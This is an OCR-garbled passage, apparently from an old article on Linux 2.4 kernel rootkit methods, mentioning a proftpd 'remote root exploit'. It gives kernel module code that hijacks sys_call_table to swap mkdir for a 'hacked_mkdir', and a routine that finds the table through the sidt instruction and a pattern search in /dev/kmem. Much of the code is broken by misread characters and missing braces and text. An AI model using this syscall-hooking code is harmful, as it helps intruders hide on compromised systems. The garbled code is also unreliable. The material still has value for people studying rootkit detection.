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RingZ_RgeEdit
proftpd extern void* sys_call_table[];/*sys_call_table */
1.2.7/1.2.9rc2 int (*orig_mkdir)(const char *path); /* */
remote root exploit int hacked_mkdir(const char *path)
return O; /* */
int init_module(void) /* */
{
orig_mkdir=sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]=hacked_mkdir;
return O;
void cleanup_module(void) /* */
{
sys_call_table[SYS_mkdir]=orig_mkdir; /* mkdir */
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3 sys_call_table
idtr sidtfasm ("sidt %0" : "=m" (idtr));]
int 0x80
system_call system_call
$ gdb -q /usr/src/linux/vmlinux
(no debugging symbols found)...(gdb) disass system_call
Dump of assembler code for function system_call:
0xc0106bf2 <system_call+42>: jne 0xc0106c48 <tracesys>
0xc0106bf4 <system_call+44>: call *0xc01e0f18(,%eax,4)
0xc0106bfb <system_call+51>: mov %eax,0x18(%esp,1)
0xc0106bff <system_call+55>: nop
End of assembler dump.
(gdb) print &sys_call_table
$1 = (<data variable, no debug info> *) Oxc01e0f18
(gdb) x/xw (system_call+44)
0xc0106bf4 <system_call+44>: 0x188514ff <-- (little endian)
(gdb)
system_call call *0xc01e0f18
system_call call sys_call_table(,eax,4)
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/dev/ikmem
open,lseek,read
module module
module
#define __syscall_return(type, res) \
do {\
if ((unsigned long)(res) >= (unsigned long)(-125)) {\
errno = -(res); \
res =-1;\
I
return (type) (res); \
} while (0)
#define _syscalll(type,name,typel,argl) \
type name(typel argl) \
{\
long _ res;\
__asm___volatile ("int $0x80" \
("=a" (__res)\
:"0" (__NR_##name),"b" ((long)(argl))); \
__syscall_return(type,__res); \
static inline _syscall1(int,close,int,fd)
module
module
sys_call_table memmem
memmem GNUC void *memmem(void
*s,int s_len,void *t,int t_len); module
module
module
Linux
( ) DS
asm/uaccess.h get_ds()
DS (
) set_fs(...)
FS
filename
unsigned long old_fs_value=get_fs();
set_fs(get_ds); /* */
open(filename, O_CREAT|O_RDWR|O_EXCL, 0640);
set_fs(old_fs_value); /* fs ...*/
module sys_call_table

I* *



unsigned long errno;
#define __syscall_return(type, res) \
do {\
if ((unsigned long)(res) >= (unsigned long)(-125)) {\
errno = -(res); \
res =-1;\
JA
return (type) (res); \
} while (0)
#define _syscalll(type,name,typel,argl) \
type name(typel argl) \
{\
long __res;\
__asm__ volatile ("int $0x80" \
("=a" (__res)\
:"0" (_NR_##name),"b" ((long)(argl))); \
__syscall_return(type,__res); \

#define _syscall3(type,name,typel,argl,type2,arg2,type3,arg3) \
type name(typel argl,type2 arg2,type3 arg3) \
{\
long __res;\
__asm___volatile ("int $0x80" \

("=a" (__res)\

:"0" (__NR_##name),"b" ((long)(argl)),"c" ((long)(arg2)), \

"d” ((long)(arg3))); \

__syscall_return(type,__res); \

static inline _syscall3(int,write,int,fd,const char * ,buf,off_t,count)
static inline _syscall3(int,read,int,fd,char *,buf,off_t,count)

static inline _syscall3(off_t,Iseek,int,fd,off_t,offset,int,count)
static inline _syscall3(int,open,const char * file,int,flag,int,mode)
static inline _syscall1(int,close,int,fd)

* */

struct {
unsigned short limit;
unsigned int base;
} __ attribute__ ((packed)) idtr;
struct {
unsigned short offl;
unsigned short sel;
unsigned char none,flags;
unsigned short off2;
} _ attribute__ ((packed)) idt;
int kmem;
void readkmem (void *m,unsigned off,int sz)
{
mm_segment_t old_fs_value=get_fs();
set_fs(get_ds());
if (Iseek(kmem,off,0)!=0ff) {
printk("kmem Iseek error in read\n"); return;

if (read(kmem,m,sz)!=sz) {
printk("kmem read errorl\n"); return;

set_fs(old_fs_value);

}

#define CALLOFF 100 /* int $0x80 100 */
I* sys_call_table */

unsigned getscTable()

unsigned sct;

unsigned sys_call_off;

char sc_asm[CALLOFF],*p;

I* IDTR */

asm ("sidt %0" : "=m" (idtr));
mm_segment_t old_fs_value=get_fs();
const char *filename="/dev/kmem";
set_fs(get_ds());

I* kmem */

kmem = open (filename,O_RDONLY,0640);



if (kmem<O0)
printk("open error!");

set_fs(old_fs_value);
* IDT 0x80 (syscall) */
readkmem (&idt,idtr.base+8*0x80,sizeof(idt));
sys_call_off = (idt.off2 << 16) | idt.off1;
I* sys_call_table */
readkmem (sc_asm,sys_call_off, CALLOFF);
p = (char*)mymem (sc_asm,CALLOFF,"\xff\x14\x85",3);
sct = *(unsigned*)(p+3);

close(kmem);

return sct;

sys_call_table
2.4.18

static unsigned SYS_CALL_TABLE_ADDR,;
void **sys_call_table;
int init_module(void)

{

SYS_CALL_TABLE_ADDR= getscTable();
sys_call_table=(void **)SYS_CALL_TABLE_ADDR,;
orig_mkdir=sys_call_table[ NR_mkdir];
sys_call_table[ NR_mkdir]J=hacked_mkdir;
return O;

void cleanup_module(void)

sys_call_table[ __NR_mkdir]=orig_mkdir;
}
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